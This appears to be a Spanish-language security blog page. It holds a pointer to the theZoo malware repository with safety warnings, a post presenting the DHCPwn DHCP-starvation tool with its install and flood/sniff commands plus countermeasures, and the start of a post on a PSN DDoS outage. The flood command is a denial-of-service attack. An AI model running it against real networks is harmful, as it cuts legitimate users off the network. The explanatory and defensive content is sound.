Eso sí, recordar que hay malwares actuales y peligrosos! Vienen "cifrados" y bloqueados por una razón! NO ejecutarlos a menos que se esté absolutamente seguro de lo que se está haciendo! Son para ser utilizados sólo con fines educativos (y nos referimos a eso!) !!!

Se recomienda ejecutarlos en una máquina virtual sin conexión a Internet (o una red virtual interna si es necesario) y sin adiciones de huéspedes o cualquier equivalente. Algunos de ellos son gusanos y tratarán de propagarse automáticamente. Por su puesto, si se ejecutan en un entorno no controlado el resultado será infectaros a vosotros mismos. Avisados estáis:

http://ytisf.github.io/theZoo/

DHCPwn: (otra) herramienta para saturar DHCPs

Hace más de 6 años ya os hablamos de DHCP starvation, un ataque que consiste en realizar numerosas peticiones DHCP_REQUEST con direcciones MAC falsas a un servidor DHCP con el objetivo de agotar su espacio de direcciones asignables. De esta manera el servidor DHCP no será capaz de asignar más direcciones IP a los clientes que la soliciten impidiendo que puedan acceder inmediatamente a la red correspondiente.

Esta denegación de servicio temporal puede hacerse con herramientas de red/generadores de paquetes como Yersinia o Scapy, o sencillos scripts como el que vimos hace tiempo en bash, o por ejemplo DHCPig (basado en scapy). 


Pero hoy, para volver a recordaros la existencia de este tipo de ataques y para añadir una herramienta más a vuestro arsenal, queríamos presentaros DHCPwn, otra herramienta en Python para saturar servidores DHCP.

Instalación:

$ git clone https://github.com/mschwager/dhcpwn.git
$ pip install -r requirements.txt


Uso:

Flood:
$ dhcpwn --interface wlan0 flood --count 256

Sniff:
$ dhcpwn --interface wlan0 sniff

Help:
$ dhcpwn -h

Recordar que este ataque de consumo de direcciones DHCP puede ser evitado fácilmente a nivel de switches y routers mediante DHCP Snooping y Dynamic ARP Inspection (DAI):


http://www.cisco.com/c/en/us/products/collateral/switches/catalyst-6500-series-switches/white_Paper_C11_603833.html

Básicamente podemos limitar el número de direcciones IP o simplemente configurar el switch para que sólo "aprenda" una MAC por puerto. También limitar el número de conexiones al servidor DHCP del router, o si lo preferís existen otras contra-medidas como 802.1x o reglas IPS. 

Y vosotros ¿aplicáis alguna? Recordar que no siempre los enemigos están detrás del firewall...

La PSN otra vez hackeada (Phantom Squad DDoS)

Si sois jugones de las consolas de Sony ya sabréis que durante toda la tarde y todavía aún no es posible jugar porque los servidores de la PlayStation Network (PSN) están inaccesibles. Lo que no hay quien se crea es que sea debido a un mantenimiento programado:

Parece que la caída de sus servidores es a nivel mundial, lo que ha impedido a millones de jugadores acceder a las funciones online de todas las plataformas de Sony:



Gaming And Social
Affected Platforms:
PS3™ , PS4™ , PS Vita , Web , Other
Affected Services:
You may have some difficulty launching games, applications, or online features. Our engineers are working to resolve the issue as soon as possible, and we thank you for your patience.
Status:
01/04/2016, 10:30 PM